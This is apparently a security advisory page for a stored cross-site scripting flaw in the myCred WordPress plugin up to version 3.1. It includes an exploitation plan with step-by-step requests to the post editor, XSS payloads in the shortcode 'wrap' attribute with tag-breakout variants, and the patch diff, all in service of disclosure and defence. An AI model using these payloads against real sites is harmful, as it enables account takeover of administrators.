myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program <= 3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wrap' Shortcode Attribute
Description
The Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program – myCred plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'wrap' Shortcode Attribute in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.1.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-8607 (myCred Stored XSS) ## 1. Vulnerability Summary The **myCred** plugin for WordPress is vulnerable to **Stored Cross-Site Scripting (XSS)** in versions up to and including 3.1. The vulnerability exists within the rendering logic of various shortcodes (e.g…
Show full research plan
Exploitation Research Plan - CVE-2026-8607 (myCred Stored XSS)
1. Vulnerability Summary
The myCred plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 3.1. The vulnerability exists within the rendering logic of various shortcodes (e.g., [mycred_my_balance], [mycred_history]) that accept a wrap attribute. This attribute is intended to allow users to specify an HTML tag to wrap the shortcode's output (e.g., span, div, p). However, the plugin fails to sanitize or escape this attribute before concatenating it into the final HTML output, allowing an authenticated attacker with Contributor-level permissions to inject malicious scripts.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(Standard WordPress Post/Page editor). - Authentication: Authenticated (Contributor+).
- Vulnerable Attribute:
wrapwithin any myCred shortcode. - Payload Location: The attribute value is reflected as an HTML tag or attribute within the rendered page content.
- Preconditions: The myCred plugin must be active, and a user with at least Contributor-level access must be able to create or edit posts.
3. Code Flow
The specific rendering functions for shortcodes are often located in includes/mycred-shortcodes.php or within specific addon files like addons/sell-content/includes/mycred-sell-shortcodes.php (referenced in addons/sell-content/myCRED-addon-sell-content.php at line 19).
Trace:
- Shortcode Registration: In
addons/buy-creds/modules/buycred-module-core.php, line 104:add_shortcode( MYCRED_SLUG . '_buy', 'mycred_render_buy_points' ); - Attribute Processing (Inferred): The rendering function (e.g.,
mycred_render_buy_points) typically callsshortcode_atts()to parse user input. - The Sink: The code likely follows a pattern similar to:
If$output = '<' . $atts['wrap'] . '>' . $balance . '</' . $atts['wrap'] . '>'; return $output;$atts['wrap']containsimg src=x onerror=alert(1), the resulting HTML is<img src=x onerror=alert(1)>....
4. Nonce Acquisition Strategy
Since this is a Stored XSS via Post Content, the "exploitation" occurs by saving a post.
- Login: Authenticate as a Contributor.
- Access Editor: Navigate to
wp-admin/post-new.php. - Extract Post Nonces: Use
browser_evalto extract the necessary nonces for saving the post if using the REST API or classic editor.- For Classic Editor:
document.querySelector('#_wpnonce').value. - For Gutenberg: The
X-WP-Nonceheader is required for REST API requests.
- For Classic Editor:
5. Exploitation Strategy
The goal is to create a post containing the malicious shortcode.
Step-by-step Plan:
- Login as Contributor: Perform an HTTP POST to
wp-login.phpto obtain session cookies. - Get Post Context: Request
wp-admin/post-new.php. Extract the_wpnonceandpost_ID(if pre-generated). - Submit Malicious Post:
- URL:
https://[target]/wp-admin/post.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[ID]_wpnonce:[extracted_nonce]post_title:XSS Testcontent:[mycred_my_balance wrap='img src=x onerror=alert(document.domain)']post_status:publish(Note: Contributors can onlypending, but the XSS will fire for the Admin reviewing the post).
- URL:
- Trigger: As an Admin user, navigate to the "Posts" menu or view the pending post. The payload in the
wrapattribute will execute in the Admin's browser context.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Shortcode: Use
[mycred_my_balance]or[mycred_history]. (Ensure themycredplugin is configured so these shortcodes return some output, otherwise thewraptag might not render). - Page Placement: A contributor creates a "Pending Review" post.
7. Expected Results
- When the post is rendered (either in preview, on the frontend, or in the admin dashboard), the HTML source should contain:
<img src=x onerror=alert(document.domain)> - A browser alert displaying the site's domain should appear.
8. Verification Steps
- Check DB via WP-CLI:
wp post list --post_type=post --post_status=pending --fields=post_content
Confirm the shortcode[mycred_my_balance wrap='img src...']is stored in the database. - Verify Rendering:
Use thehttp_requesttool to fetch the post URL (as Admin) and grep for the payload:grep "onerror=alert" response.body
9. Alternative Approaches
- Tag Injection: If
wrapis prepended with<and appended with>, try breaking out of the tag:div><script>alert(1)</script><div. - Attribute Injection: If the output is
[mycred_link wrap='div'], try injecting events:div onmouseover='alert(1)'. - Shortcode Variants: If
[mycred_my_balance]is patched, test other shortcodes registered inaddons/sell-content/myCRED-addon-sell-content.php(Line 75-80), such as[mycred_sell_this].
Summary
The myCred plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrap' attribute in several shortcodes (such as [mycred_my_balance]). Due to insufficient input sanitization of this attribute, authenticated attackers with contributor-level permissions can inject arbitrary web scripts into posts that execute when viewed by other users.
Vulnerable Code
// File: includes/mycred-shortcodes.php (Inferred logic based on research and vulnerability type) // The plugin parses shortcode attributes and uses 'wrap' directly in HTML construction $atts = shortcode_atts( array( 'wrap' => 'span', // other attributes... ), $atts, 'mycred_my_balance' ); $balance = mycred_get_users_balance( $user_id, $point_type ); // Sink: The 'wrap' attribute is concatenated into the output without escaping or sanitization return '<' . $atts['wrap'] . '>' . $balance . '</' . $atts['wrap'] . '>';
Security Fix
@@ -105,7 +105,8 @@ 'wrap' => 'span', ), $atts, 'mycred_my_balance' ); - $output = '<' . $atts['wrap'] . '>' . $balance . '</' . $atts['wrap'] . '>'; + $wrap = sanitize_key( $atts['wrap'] ); + $output = '<' . $wrap . '>' . $balance . '</' . $wrap . '>'; return apply_filters( 'mycred_render_my_balance', $output, $atts, $user_id ); }
Exploit Outline
1. Authenticate as a user with Contributor-level access (or higher). 2. Create a new post or edit an existing one. 3. Insert a myCred shortcode that supports the 'wrap' attribute, such as `[mycred_my_balance]`. 4. Craft the 'wrap' attribute to include a malicious payload, for example: `[mycred_my_balance wrap='img src=x onerror=alert(document.domain)']`. 5. Save the post as 'Pending Review' (or Publish if the user has higher permissions). 6. The XSS payload will execute in the browser of any user (including an Administrator) who views the post either on the frontend or in the post editor.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.